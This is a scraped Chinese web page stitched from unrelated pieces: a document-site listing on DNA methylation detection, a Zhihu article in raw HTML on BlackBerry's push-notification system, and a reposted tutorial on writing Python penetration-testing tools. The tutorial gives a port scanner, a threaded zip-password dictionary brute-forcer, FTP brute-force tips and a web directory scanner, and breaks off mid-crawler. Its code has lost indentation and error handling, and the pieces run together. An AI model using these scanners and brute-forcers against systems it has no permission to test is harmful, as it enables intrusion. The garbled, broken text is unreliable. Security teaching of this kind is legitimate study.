angr k.k怎么选unity关卡选择界面

 上传我的文档
 下载
 收藏
该文档贡献者很忙,什么也没留下。
 下载此文档
正在努力加载中...
dna中甲基、羟甲基、醛基与羧基胞嘧啶的化学检测方法进展
recent progress in detect.
下载积分:2000
内容提示:dna中甲基、羟甲基、醛基与羧基胞嘧啶的化学检测方法进展
recent progress in detection of methylcytosine, hydroxymethylcytosine,for
文档格式:PDF|
浏览次数:5|
上传日期: 18:08:54|
文档星级:
全文阅读已结束,如果下载本文需要使用
 2000 积分
下载此文档
该用户还上传了这些文档
dna中甲基、羟甲基、醛基与羧基胞嘧啶的化学检测方
关注微信公众号&figure&&img src=&https://pic3.zhimg.com/v2-17a36be4f17d5bad92357_b.jpg& data-rawwidth=&600& data-rawheight=&340& class=&origin_image zh-lightbox-thumb& width=&600& data-original=&https://pic3.zhimg.com/v2-17a36be4f17d5bad92357_r.jpg&&&/figure&&h2&推送&/h2&&p&&br&&/p&&p&&b&(一) 什么是推送?&/b&&/p&&p&&br&&/p&&p&手机用户从互联网远端服务器获取信息的方式主要有两种:&/p&&p&&br&&/p&&p&一种是手动联网查看;&/p&&p&&br&&/p&&p&另外一种就是依靠推送服务。&/p&&p&&br&&/p&&p&这两种联网查看信息有什么区别呢?&/p&&p&&br&&/p&&p&1. 手动联网查看有许多劣势,因为无法确认对方到底是在何时把消息发送到自己手机上,用户需要频繁的唤醒手机,打开相应客户端联网查看,这么做很费电,大大减少手机的续航时间。&/p&&p&&br&&/p&&p&我在《&a href=&https://www.zhihu.com/question/& class=&internal&&如何看待工信部发文要求国内安卓统一消息推送标准?&/a&》回答里,谈到了国内Android生态推送的乱象,因为谷歌的推送服务无法在中国大陆开展运营,国内的各家App都有一套自己的推送规则,即主进程一个,负责推送的进程一个,不同推送进程的软件开发质量各有差异,导致国内的Android手机需要维持一大堆推送进程,来保持持续地接收推送信息,后果就是杂乱无章,还费电~~&/p&&p&&br&&/p&&figure&&img src=&https://pic3.zhimg.com/v2-5dd936fbdf9e6aab1eec32_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&712& data-rawheight=&588& class=&origin_image zh-lightbox-thumb& width=&712& data-original=&https://pic3.zhimg.com/v2-5dd936fbdf9e6aab1eec32_r.jpg&&&/figure&&p&&br&&/p&&p&需要注意的是,在《&a href=&https://zhuanlan.zhihu.com/p/& class=&internal&&我的「搞机」之路&/a&》里,我提到了Android系统的一种后台管理办法——劫持内核,强制剥夺应用在后台持续运行的权力。&/p&&p&&br&&/p&&p&我选择了以牺牲推送信息接收,换流畅省电,日常需要接收到的推送信息大户——微信,也在黑域的黑名单之列。&/p&&p&&br&&/p&&figure&&img src=&https://pic4.zhimg.com/v2-90a7e1b7d5dce815f829e13_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&1080& data-rawheight=&1920& class=&origin_image zh-lightbox-thumb& width=&1080& data-original=&https://pic4.zhimg.com/v2-90a7e1b7d5dce815f829e13_r.jpg&&&/figure&&p&&br&&/p&&p&所以,这样使用智能手机的姿势,显得相当原始,一点儿都不智能——我需要定期打开微信的App,才能看到好友们新发来的消息。&/p&&p&&br&&/p&&p&因为黑域把微信的后台进程全端掉的缘故,有的时候我时隔一两个小时,重新打开微信,好多微信群的上百条消息,才一股脑儿地出现在消息列表里。除了糟心,还是糟心。&/p&&p&&br&&/p&&p&2. 当用户在手机上装了多个App后,很难保持定期手动挨个把这些App都手动打开一遍的习惯,某些不常用但十分重要的App,平时很难记起来打开它,如果没有推送且忘了及时打开它,那是很耽误事儿的(上面的悲剧)。&/p&&p&&br&&/p&&p&没错,推动用来解决的,就是手动联网查看所不能及的问题。远方的推送服务器代替了用户频繁手动打开手机App查看通知的这一步骤。&/p&&p&&br&&/p&&p&推送技术早在PC时代就有了,但因为当时微软没有为旗下的Windows系统单独添加这么一个专门的通知中心功能,而且每个开发者都有为Windows开发程序的自由,每个程序都有自己的一套发送通知的通道,微软并没有把这套通知生态给整合好,和现在的Android一样。&/p&&p&&br&&/p&&p&不过到了UWP时代,各个UWP App还是相当遵循微软制定的消息推送守则的,消息推送的常驻位置从右下角的传统exe应用位置,转移到了消息中心:&/p&&p&&br&&/p&&figure&&img src=&https://pic1.zhimg.com/v2-676eed5e96bcdcf36f289a_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&353& data-rawheight=&49& class=&content_image& width=&353&&&/figure&&p&&br&&/p&&figure&&img src=&https://pic3.zhimg.com/v2-286bfb19ebe_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&449& data-rawheight=&1027& class=&origin_image zh-lightbox-thumb& width=&449& data-original=&https://pic3.zhimg.com/v2-286bfb19ebe_r.jpg&&&/figure&&p&&br&&/p&&p&移动互联网时代,受制于手机功耗的限制,使所有应用在后台保持活动状态,以接收通知的代价实在太高昂了,移动网络的终端性能、网络质量决定了其推送业务运行机制肯定和PC+宽带网络有所区别。&/p&&p&&br&&/p&&p&&b&(二)黑莓的推送系统&/b&&/p&&p&&br&&/p&&p&黑莓推送服务架构图:&/p&&p&&br&&/p&&figure&&img src=&https://pic2.zhimg.com/v2-6aec4da24b85e58a3ce72b9b_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&772& data-rawheight=&328& class=&origin_image zh-lightbox-thumb& width=&772& data-original=&https://pic2.zhimg.com/v2-6aec4da24b85e58a3ce72b9b_r.jpg&&&/figure&&p&&br&&/p&&p&上图是一个典型的黑莓推送服务架构图。&/p&&p&&br&&/p&&ul&&li&Push Initator(推送发起服务器)是指用户使用App的运营商,既可以是微软的Outlook,也可以是微信,他们将需要推送给用户的消息先传递到黑莓的Push Server(推送服务器)上。推送服务器位于传统的互联网中。&/li&&/ul&&p&&br&&/p&&ul&&li&Push Proxy Gateway(推送代理网关)位于移动互联网中,它和推送服务器以PAP(推送服务协议)建立连接,将信息转发出去。&/li&&/ul&&p&&br&&/p&&p&Push Client(推送客户端)以黑莓私有的IPPP协议和推送代理网关保持通信,这个IPPP协议继承了之前提到PPP协议的适应多物理层协议、计费管理、用户认证等特性。&/p&&p&&br&&/p&&p&整理成下面这张流程图,我们可以大致了解黑莓推送服务的整体逻辑:&/p&&p&&br&&/p&&figure&&img src=&https://pic4.zhimg.com/v2-2d0abc70efd303ae7d1ecfd_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&672& data-rawheight=&532& class=&origin_image zh-lightbox-thumb& width=&672& data-original=&https://pic4.zhimg.com/v2-2d0abc70efd303ae7d1ecfd_r.jpg&&&/figure&&p&&br&&/p&&p&1. Push Request(推送请求):App运营商首先发起通信,通过互联网将通知内容发送到黑莓推送发起服务器上,推送发起者向黑莓推送代理网关发起通知推送请求;&/p&&p&&br&&/p&&p&2. Response(响应):黑莓推送代理网关受理该请求,向黑莓推送发起服务器回复确认受理该请求,并把这条通知送入推送队列中;&/p&&p&&br&&/p&&p&3. Push(推送):黑莓推送代理网关将推送队列中待推送的通知传送至指定的黑莓用户终端,黑莓用户终端再根据用户手机上安装的App类型,将通知标记成是由哪些App运营商推送来的;&/p&&p&&br&&/p&&p&4. ACK(Acknowledgement 确认字符)App从黑莓用户终端发送确认收到的回复,终端再将回复确认信息发送到黑莓推送代理网关中;&/p&&p&&br&&/p&&p&5. Result Notification(通知结果)黑莓推送代理网关将回复信息转递给黑莓推送发起服务器上;&/p&&p&&br&&/p&&p&6. Response(响应):黑莓推送服务器最后将这条回复信息的确认收到结果发送至App运营商的服务器上。&/p&&p&&br&&/p&&p&整体上,黑莓推送系统的运转流程大致就是这么一个流程。&/p&&p&&br&&/p&&p&&b&(三)黑莓的推送机制无人企及的优势&/b&&/p&&p&&br&&/p&&p&从第二节提到的黑莓推送机制中,我们可以发现,实际上,如果App运营商选择走黑莓的推送通道,那么它和黑莓用户终端之间,是无法直接建立起通信的。所有通信讯息都必须经过黑莓搭建的推送服务器。&/p&&p&&br&&/p&&p&这么做十分适合手机特殊的网络环境,一方面,手机无线网络的资源比宽带更宝贵,无线传输数据的稳定性比不上光纤,同一区域内用户数量过多,就会挤占光有限的基站容量,黑莓的推送系统为黑莓用户单独搭建了一套信道资源,大大提升了黑莓用户收发通知的硬件能力。&/p&&p&&br&&/p&&figure&&img src=&https://pic3.zhimg.com/v2-faba3ef30f7b8_b.jpg& data-size=&normal& data-rawwidth=&728& data-rawheight=&271& class=&origin_image zh-lightbox-thumb& width=&728& data-original=&https://pic3.zhimg.com/v2-faba3ef30f7b8_r.jpg&&&figcaption&各家的Push功能原理其实都大同小异,只不过黑莓做得早一些而已&/figcaption&&/figure&&p&&br&&/p&&p&另一方面,黑莓用户终端基本上都是手机,每个手机用户使用的App会有千差万别。&/p&&p&&br&&/p&&p&如果采用的是终端和App运营商持续保持连接的模式,不论是用户自己手动打开这些App;还是App们在终端OS的后台进驻一个个持续运行的推送进程,自动和App运营商保持通信,&b&都需要终端和App运营商持续性的、定期建立起一段连接请求&/b&(比如5分钟一次的心跳连接),如果有新的消息,就做推送,如果没有新信息,就自动/手动断开。&/p&&p&&br&&/p&&p&用户如果在终端上装了多个App,按上述方法来查看推送消息,则要么就是用户累死,频繁的挨个打开每个应用会影响到用户正常的工作和生活;要么就是手机累死,终端OS后台要维持一大堆时常让手机唤醒的App推送进程,有多大的电池都不管用。&/p&&p&&br&&/p&&figure&&img src=&https://pic3.zhimg.com/v2-7dd153bd08df1f93878b_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&704& data-rawheight=&353& class=&origin_image zh-lightbox-thumb& width=&704& data-original=&https://pic3.zhimg.com/v2-7dd153bd08df1f93878b_r.jpg&&&/figure&&p&&br&&/p&&p&这种糟糕的接收推送消息的机制,让App运营商和手机网络运营商也苦不堪言,App运营商服务器端需要不停地处理与多个用户终端建立起的,大部分时间里都是无意义的连接,耗费了他们服务器端的大量资源。这些大部分无意义的连接还增加了手机网络运营商基站,处理信令的负担。&/p&&p&&br&&/p&&p&相比之下,黑莓的推送技术,将用户和用户终端需要手动或自动频繁建立起通知推送的工作,交给了与App运营商事先协商好的黑莓服务器上。&/p&&p&&br&&/p&&p&1.终端在熄屏待机时,只需要在一个特定的网络端口上保持侦听来自黑莓服务器的推送信息即可,黑莓推送服务器会自主根据用户终端当前网络环境的优劣,来决定通知确保推送到用户终端的最合适时机,降低了对终端接收信息的能力要求。&/p&&p&&br&&/p&&p&2.在推送服务器端,只有App运营商向用户发送推送通知的时候,推送服务器才会做应答,进而联动推送代理网关、基站、用户终端等设备工作,在其余时间,各方不必时常保持连接状态,极大地减轻了各方之间需要频繁建立起连接的负担。&/p&&p&&br&&/p&&p&可见,如果到现在都没有类似黑莓推送机制的服务存在,这是一个各方皆输的结果,移动互联网就不可能发展得这么欣欣向荣了。&/p&&p&&br&&/p&&p&&b&(四)曾经「独步天下,笑傲江湖」的「推送」,已泯然于众人&/b&&/p&&p&&br&&/p&&p&我们来梳理一下,手机通信网络技术的进步,这样才能弄清楚黑莓衰落的原因。&/p&&p&&br&&/p&&p&1.2G→3G→4G网络通信制式的快速跃进&/p&&p&&br&&/p&&p&早在2001年,日本就开始商业化运营世界上第一个3G业务。我国步入3G时代的速度虽然有些晚:中国联通在2009年才获得WCDMA牌照,但也正好赶上了移动互联网井喷的第一波浪潮,并且在随后推动4G业务上,毫不落后,逐渐与国际主流接轨。5G时代,更是要做到世界领先。&/p&&p&&br&&/p&&p&相比2G业务,3G业务简直是一个飞跃,它建立在移动通讯制式上的通讯速率大提升,更高的通讯速率使移动互联网用户的数量激增,从现在来看,4G相比3G的升级更像是对移动互联网用户体验的一场优化升级。&/p&&p&&br&&/p&&figure&&img src=&https://pic2.zhimg.com/v2-ed0c3e1ca72f9603ace1a_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&1280& data-rawheight=&720& class=&origin_image zh-lightbox-thumb& width=&1280& data-original=&https://pic2.zhimg.com/v2-ed0c3e1ca72f9603ace1a_r.jpg&&&/figure&&p&&br&&/p&&p&如何充分利用好3G和4G制式高速率特性带来的利好呢?Android和IOS的演进给我们提供了许多借鉴之处。&/p&&p&&br&&/p&&p&2. 移动互联网及其应用井喷的时候,iOS和Android在做什么?&/p&&p&&br&&/p&&ul&&li&iOS和Android正确的预见了2G→3G→4G的变化;&/li&&/ul&&p&&br&&/p&&ul&&li&苹果和谷歌分别打造闭环应用生态链,App Store和Google Play便是其成型产品的代表。&/li&&/ul&&p&&br&&/p&&p&早在2003年,Google便收购了Android,为未来可能遇见的移动互联网大潮埋下伏笔。&/p&&p&&br&&/p&&p&而打响构建移动互联网生态圈第一炮的,便是Apple的iOS。&/p&&p&&br&&/p&&p&起初,搭载iOS 1的iPhone一代功能十分简陋,纯电容屏触控屏操作使它的续航比不上大部分友商的手机,关键是IOS 1时代还没有App Store,每个固定在手机主屏上的「App」,其实只是浏览器访问的书签。&/p&&p&&br&&/p&&figure&&img src=&https://pic3.zhimg.com/v2-9ebaddd20_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&831& data-rawheight=&663& class=&origin_image zh-lightbox-thumb& width=&831& data-original=&https://pic3.zhimg.com/v2-9ebaddd20_r.jpg&&&/figure&&p&&br&&/p&&p&当时iPhone受尽了友商们的嘲笑,自诩为高端商务人士的黑莓用户更是对iPhone不屑一顾:&/p&&p&&br&&/p&&p&「他们在玻璃上打字」&/p&&p&&br&&/p&&figure&&img src=&https://pic4.zhimg.com/v2-a529e88cee0bfeaf7802f_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&1920& data-rawheight=&1080& class=&origin_image zh-lightbox-thumb& width=&1920& data-original=&https://pic4.zhimg.com/v2-a529e88cee0bfeaf7802f_r.jpg&&&/figure&&p&&br&&/p&&p&没有键盘操作的纯触控屏交互,在当时简直就是匪夷所思的,Apple认为,移动互联网时代,吸引各路第三方开发者开发的高质量的App才是正路,很明显Apple赌对了,iOS 2开始搭载App Store,Apple允许开发者开发自己的第三方应用,并发布在这个商店里。Android后来随iOS小跑跟进,靠开放的授权,占据的更多的市场份额。&/p&&p&&br&&/p&&p&很快,基于App的互联网体验变得越来越精彩纷呈,那些喜欢黑莓的年轻人们,逐渐被IOS和Android所吸引。&/p&&p&&br&&/p&&p&即使iOS到现在也经历了长达近十年的更新,但从iOS 1界定下来的基本用户操作逻辑,和从iOS 2引入的Apple Store来看,iOS和当时风头正盛的Blackberry OS与Symbian相比,已经不是一个时代的东西了。&/p&&p&&br&&/p&&figure&&img src=&https://pic4.zhimg.com/v2-7b238d2cef65acc848cd1a77c7371451_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&1920& data-rawheight=&1080& class=&origin_image zh-lightbox-thumb& width=&1920& data-original=&https://pic4.zhimg.com/v2-7b238d2cef65acc848cd1a77c7371451_r.jpg&&&/figure&&p&&br&&/p&&p&3.没有选择一个正确拥抱移动互联网的姿态:&/p&&p&&br&&/p&&p&经历过9·11事件之后成功的黑莓,多了一分傲气,少了一分锐气,稳坐商务市场的头号交椅给了黑莓前所未有的自信。&/p&&p&&br&&/p&&p&令人惊奇的是,Blackberry OS版本的更新竟然在2002年至2008年之间,出现了长达6年的大断档,一般系统版本没有大的迭代更新,就说明该系统的用户体验一直在原地踏步,黑莓软件部门的不作为是因为黑莓公司认为“商务手机产品保持这样的设计和市场增长就够了”吗?&/p&&p&&br&&/p&&p&黑莓的旧Blackberry OS一直更新到7.1,随后在2013年,黑莓推出了全新的Blackberry 10(X)来取代旧的Blackberry OS&/p&&p&&br&&/p&&figure&&img src=&https://pic1.zhimg.com/v2-465dc465ffeb1e6b0d199bd_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&367& data-rawheight=&388& class=&content_image& width=&367&&&/figure&&p&&br&&/p&&p&直到2015年11月份发布的黑莓Priv,黑莓彻底放弃了使用自家的Blackberry 10系统,全面拥抱Android。&/p&&p&&br&&/p&&figure&&img src=&https://pic4.zhimg.com/v2-71cc394b8df0b81fe4cef_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&770& data-rawheight=&433& class=&origin_image zh-lightbox-thumb& width=&770& data-original=&https://pic4.zhimg.com/v2-71cc394b8df0b81fe4cef_r.jpg&&&/figure&&p&&br&&/p&&p&过于乐观的市场预期,就像温水煮青蛙,处在小火慢炖状态的黑莓离消费者市场的距离太远,没有敏锐的嗅到市场风向,旧的Blackberry OS就这么不急不缓的存在着。&/p&&p&&br&&/p&&p&祖业是不能说丢就丢的,当时的黑莓还在坚持:&/p&&p&&br&&/p&&ul&&li&在广域网单独构建的消息推送网络&/li&&/ul&&p&&br&&/p&&ul&&li&对电子邮件推送的良好支持&/li&&/ul&&p&&br&&/p&&ul&&li&全键盘设计&/li&&/ul&&p&&br&&/p&&ul&&li&商务应用支持&/li&&/ul&&p&&br&&/p&&p&4.IOS和Android纷纷自建Push体系,成为了压死黑莓的最后一棵稻草&/p&&p&&br&&/p&&p&黑莓能够留住商务用户的核心,就是它所搭建的那条独立的消息推送网络,这也是黑莓号称安全、高效的原点。&/p&&p&&br&&/p&&p&但是,iOS和Android在想:既然我们已经靠优秀的操作体验和丰富的应用生态圈留住了用户,为什么我们不能自己搭建一条独立的消息推送网络呢?&/p&&p&&br&&/p&&p&搭建这条网络确实需要较高的技术和物力成本,但我们已经占据绝对主流的市场了,攫取到了足够多的利润,这部分投入我们愿意去做,既为了普通用户的体验着想,也为了把商务用户拉拢到我们这儿来。&/p&&p&&br&&/p&&p&黑莓彻底危险了。&/p&&p&&br&&/p&&p&我就不详述iOS推送机制和Android GMS推送机制的技术原理了,看懂了黑莓消息推送机制的,自然也就懂它们是怎样运行的,论效果、体验,和黑莓都不会相差太多,黑莓的看家本领,终于被人学了去了。&/p&&p&&br&&/p&&p&PS:存在一些「不可描述」的原因,Android的GMS推送服务在中国大陆是不能正常运营的,小米的MIUI和华为的EMUI等国产定制Android系统,都配备了小米和华为等单独为手机终端构建的消息推送网络,体验相比GMS还有差距。&/p&&p&&br&&/p&&p&对于国内的开发者而言,出现了这么一堆额外的消息推送网络运营商,必须得对应这些定制Android,附加上不同的推送模块,这就使开发难度变得更大了。&/p&&p&&br&&/p&&p&像有些国民级App,比如微信这种,生怕用户接收不到通知,干脆鸟都不鸟这些第三方消息推送服务,自己又构建了一套消息推送体系+持续活动的Android后台推送进程,进一步加剧了Android生态的割裂。&/p&&p&&br&&/p&&figure&&img src=&https://pic1.zhimg.com/v2-91aacc5a22_b.jpg& data-size=&normal& data-rawwidth=&1058& data-rawheight=&689& class=&origin_image zh-lightbox-thumb& width=&1058& data-original=&https://pic1.zhimg.com/v2-91aacc5a22_r.jpg&&&figcaption&国内App,从第1步开始,就不走寻常路&/figcaption&&/figure&&p&&br&&/p&&p&在国内,老老实实地用iPhone,是最好的选择!&/p&&p&&/p&&p&&/p&
推送 (一) 什么是推送? 手机用户从互联网远端服务器获取信息的方式主要有两种: 一种是手动联网查看; 另外一种就是依靠推送服务。 这两种联网查看信息有什么区别呢? 1. 手动联网查看有许多劣势,因为无法确认对方到底是在何时把消息发送到自己手机上,…
&figure&&img src=&https://pic3.zhimg.com/v2-8b6e70fb9bb0f_b.jpg& data-rawwidth=&697& data-rawheight=&443& class=&origin_image zh-lightbox-thumb& width=&697& data-original=&https://pic3.zhimg.com/v2-8b6e70fb9bb0f_r.jpg&&&/figure&&blockquote&作者:&a href=&https://link.zhihu.com/?target=https%3A//bbs.ichunqiu.com/thread-.html%3Ffrom%3Dzh& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&xiaoye&/a&&br&来源:&a href=&https://link.zhihu.com/?target=https%3A//bbs.ichunqiu.com/thread-.html%3Ffrom%3Dzh& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&i春秋社区&/a&&/blockquote&&p&&b&前言&/b&&/p&&p&python是门简单易学的语言,强大的第三方库让我们在编程中事半功倍,今天我们就来谈谈python在&a href=&https://link.zhihu.com/?target=http%3A//bbs.ichunqiu.com/portal.php%3Ffrom%3Dzh& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&渗透测试&/a&中的应用,让我们自己动手打造自己的&a href=&https://link.zhihu.com/?target=http%3A//bbs.ichunqiu.com/portal.php%3Ffrom%3Dzh& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&渗透工具&/a&集。&/p&&p&&br&&/p&&p&&b&一、信息搜集--py端口扫描小脚本&/b&&/p&&p&端口扫描是渗透测试中常用的技术手段,发现敏感端口,尝试弱口令或者默认口令爆破也是常用的手段,之前自学python时候百度着写了个小脚本。&/p&&p&端口扫描小脚本:&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&#coding: utf-8
import socket
import time
def scan(ip, port):
socket.setdefaulttimeout(3)
s = socket.socket()
s.connect((ip, port))
return True
def scanport():
print '作者:xiaoye'.decode('utf-8').encode('gbk')
print '--------------'
print 'blog: [url]http://blog.163.com/sy_butian/blog'[/url]
print '--------------'
ym = raw_input('请输入域名(只对未使用cdn的网站有效):'.decode('utf-8').encode('gbk'))
ips = socket.gethostbyname(ym)
print 'ip: %s' % ips
portlist = [80,81,,23,443,69,22,25,110,89,00,1433]
starttime = time.time()
for port in portlist:
res = scan(ips, port)
print 'this port:%s is on' % port
endtime = time.time()
print '本次扫描用了:%s秒'.decode('utf-8').encode('gbk') % (endtime-starttime)
if __name__ == '__main__':
scanport()
#coding: utf-8
import socket
import time
def scan(ip, port):
socket.setdefaulttimeout(3)
s = socket.socket()
s.connect((ip, port))
return True
def scanport():
print '作者:xiaoye'.decode('utf-8').encode('gbk')
print '--------------'
print 'blog: [url]http://blog.163.com/sy_butian/blog'[/url]
print '--------------'
ym = raw_input('请输入域名(只对未使用cdn的网站有效):'.decode('utf-8').encode('gbk'))
ips = socket.gethostbyname(ym)
print 'ip: %s' % ips
portlist = [80,81,,23,443,69,22,25,110,89,00,1433]
starttime = time.time()
for port in portlist:
res = scan(ips, port)
print 'this port:%s is on' % port
endtime = time.time()
print '本次扫描用了:%s秒'.decode('utf-8').encode('gbk') % (endtime-starttime)
if __name__ == '__main__':
scanport()
&/code&&/pre&&/div&&p&对于端口扫描技术,其实分很多种,通常是利用tcp协议的三次握手过程(从网上偷张图。。)&/p&&figure&&img src=&https://pic2.zhimg.com/v2-d05ae0db91da27753fadaf_b.jpg& data-caption=&& data-rawwidth=&627& data-rawheight=&340& class=&origin_image zh-lightbox-thumb& width=&627& data-original=&https://pic2.zhimg.com/v2-d05ae0db91da27753fadaf_r.jpg&&&/figure&&p&放出的那个脚本,是利用了tcp connect() 即完成了tcp三次握手全连接,根据握手情况判断端口是否开放,这种方式比较准确,但是会在服务器留下大量连接痕迹。&/p&&p&当然,如果不想留下大量痕迹,我们可以在第三次握手过程,将ack确认号变成rst(释放连接),连接没有建立,自然不会有痕迹,但是这种方法需要root权限
&/p&&p&好了,先讲解一下我们的py端口扫描小脚本:&/p&&p&核心代码:&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&portlist = [80,81,,23,443,69,22,25,110,89,00,1433]
for port in portlist:
res = scan(ips, port)
print 'this port:%s is on' % port
&/code&&/pre&&/div&&p&这段代码是定义了要扫描的端口,并且用for ..in .. 来进行遍历&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&socket.setdefaulttimeout(3)
s = socket.socket()
s.connect((ip, port))
&/code&&/pre&&/div&&p&这段代码,是利用了socket套接字,建立tcp连接,socket.socket()就是s = socket.socket(socket.AF_INET, socket.SOCK_STREAM),用于tcp连接建立&/p&&p&&br&&/p&&p&&b&二、实用爆破小脚本--压缩文件密码爆破&&ftp爆破&/b&&/p&&p&对于压缩文件,py有自己的处理模块zipfile,关于zipfile的实例用法,在violent python里有实例脚本,模仿书里写了个小脚本&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&#coding: utf-8
z = zipfile.ZipFile('') , extractall
z.extractall(pwd)
import zipfile
import threading
def zipbp(zfile, pwd):
zfile.extractall(pwd=pwd)
print 'password found : %s' % pwd
def main():
zfile = zipfile.ZipFile('xx.zip')
pwdall = open('dict.txt')
for pwda in pwdall.readlines():
pwd = pwda.strip('\n')
t = threading.Thread(target=zipbp, args=(zfile, pwd))
if __name__ == '__main__':
&/code&&/pre&&/div&&p&其实脚本很简单,核心就一个地方:&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&zfile = zipfile.ZipFile('xx.zip')
..............
zfile.extractall(pwd=pwd)
&/code&&/pre&&/div&&p&ZipFile是zipfile模块重要的一个类,zfile就是类的实例,而extractall(pwd)就是类里的方法,用于处理带有密码的压缩文件;当pwd正确时,压缩文件就打开成功。而此脚本就是利用了zipfile模块的类和方法,加载字典不断尝试pwd,直至返回正确的密码,爆破成功&/p&&p&python在爆破方面也很有优势,比如ftp,py也有ftplib模块来处理,一次ftp连接过程如下:&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&ftp = ftplib.FTP()
ftp.connect(host, 21, 9)
ftp.login(user, pwd)
ftp.retrlines('LIST')
ftp.quit()
&/code&&/pre&&/div&&p&connect(ip, port, timeout)用于建立ftp连接;login(user,pwd)用于登陆ftp;retrlines()用于控制在服务器执行命令的结果的传输模式;quit()方法用于关闭ftp连接&/p&&p&&br&&/p&&p&是不是觉得和zipfile的套路很像?没错,你会写一个,就会写另外一个,就会写许许多多的爆破脚本,脚本我就不放出来了,大家自己动手去写一写(p.s:关于ftp爆破,在加载字典之前,请先尝试空密码,即ftp.login(),万一成功了呢。。)&/p&&p&&br&&/p&&p&&b&三、目录探测--py低配版御剑&/b&&/p&&p&昨天写了个小脚本,用来探测目录,实现和御剑一样的效果,脚本是写好了,开了多线程,但是还算很慢。。之后我会再次修改:&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&#coding: utf-8
import sys
import requests
import threading
def savetxt(url):
with open('domain.txt', 'a') as f:
url = url + '\n'
f.write(url)
def geturl(url):
r = requests.get(url, timeout=1)
status_code = r.status_code
if status_code == 200:
print url + ' 200 ok'
savetxt(url)
#print url
#print status_code
syslen = len(sys.argv)
#print syslen
url = raw_input('请输入要扫描目录的网站\n'.decode('utf-8').encode('gbk'))
for i in range(1,syslen):
with open(sys.argv[i], 'r') as f:
for fi in f.readlines():
fi = fi.strip('\n')
fi = url + '/' + fi
t = threading.Thread(target=geturl, args=(fi,))
#res = ''.join(res)
#print res
&/code&&/pre&&/div&&figure&&img src=&https://pic3.zhimg.com/v2-463dc4c850eb1ca9b0138_b.jpg& data-caption=&& data-rawwidth=&741& data-rawheight=&167& class=&origin_image zh-lightbox-thumb& width=&741& data-original=&https://pic3.zhimg.com/v2-463dc4c850eb1ca9b0138_r.jpg&&&/figure&&p&能run起来,速度较慢。。&/p&&p&说一下主要思想吧,之后我改完再细讲。。:&/p&&p&加载1个或者多个字典,将字典中的内容与输入的url进行拼接得到完整url;&/p&&p&关于加载多个字典,代码实现如下:&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&syslen = len(sys.argv)
#print syslen
url = raw_input('请输入要扫描目录的网站\n'.decode('utf-8').encode('gbk'))
for i in range(1,syslen):
with open(sys.argv[i], 'r') as f:
for fi in f.readlines():
fi = fi.strip('\n')
fi = url + '/' + fi
&/code&&/pre&&/div&&p&利用sys.argv,我们输入python yujian.py dir.txt就加载dir.txt,输入dir.txt php.txt ,因为有for i in range(1,syslen):,syslen=3,range(1,3)返回[1,2];&/p&&p&with open(sys.argv&i&, 'r') as f:&/i&它就会自动加载输入的两个txt文件(sys.argv[1]、sys.argv[2]);也就是说,我们输入几个文件,它就加载几个文件作为字典&/p&&p&当我们遇到php站点时,完全可以把御剑的字典拿过来,只加载php.txt dir.txt,这点和御剑是一样的:&/p&&figure&&img src=&https://pic2.zhimg.com/v2-8f2acb4072eab532a3abea_b.jpg& data-caption=&& data-rawwidth=&924& data-rawheight=&664& class=&origin_image zh-lightbox-thumb& width=&924& data-original=&https://pic2.zhimg.com/v2-8f2acb4072eab532a3abea_r.jpg&&&/figure&&p&通过python的requests.get(url)的状态返回码status_code来对是否存在该url进行判断;&/p&&p&如果返回200就将该url打印出来,并且存进txt文本里&/p&&p&目前是这么个想法。。&/p&&p&-----------------------------------------------------------------------&/p&&p&更新:多线程加队列目录探测脚本 : &a href=&https://link.zhihu.com/?target=https%3A//bbs.ichunqiu.com/thread-.html%3Ffrom%3Dzh& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&https://github.com/xiaoyecent/scan_dir&/a&&/p&&p&&br&&/p&&p&有关于更多小脚本, 可以访问 &a href=&https://link.zhihu.com/?target=http%3A//bbs.ichunqiu.com/portal.php%3Ffrom%3Dzh& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&https://github.com/xiaoyecent&/a& 目前添加了百度url采集、代理ip采集验证、爬虫、简单探测网段存活主机等小脚本,新手单纯交流学习,大牛勿喷&/p&&p&&b&四、爬虫爬取整站连接&/b&&/p&&p&这个爬虫是慕课网上的蚂蚁老师讲的,感觉做的非常好,就改了一下,本来是用来爬取百度百科python1000条词条的(现在还是能爬的,要是之后目标更新了,就得制订新的爬虫策略了,大的框架不需要变),改成了爬取网站整站连接,扩展性还是很好的。&/p&&p&爬虫的基本构成,抓一张蚂蚁老师的图:&/p&&figure&&img src=&https://pic1.zhimg.com/v2-7d00eb2cbe8bf8bd62b267a_b.jpg& data-caption=&& data-rawwidth=&1344& data-rawheight=&765& class=&origin_image zh-lightbox-thumb& width=&1344& 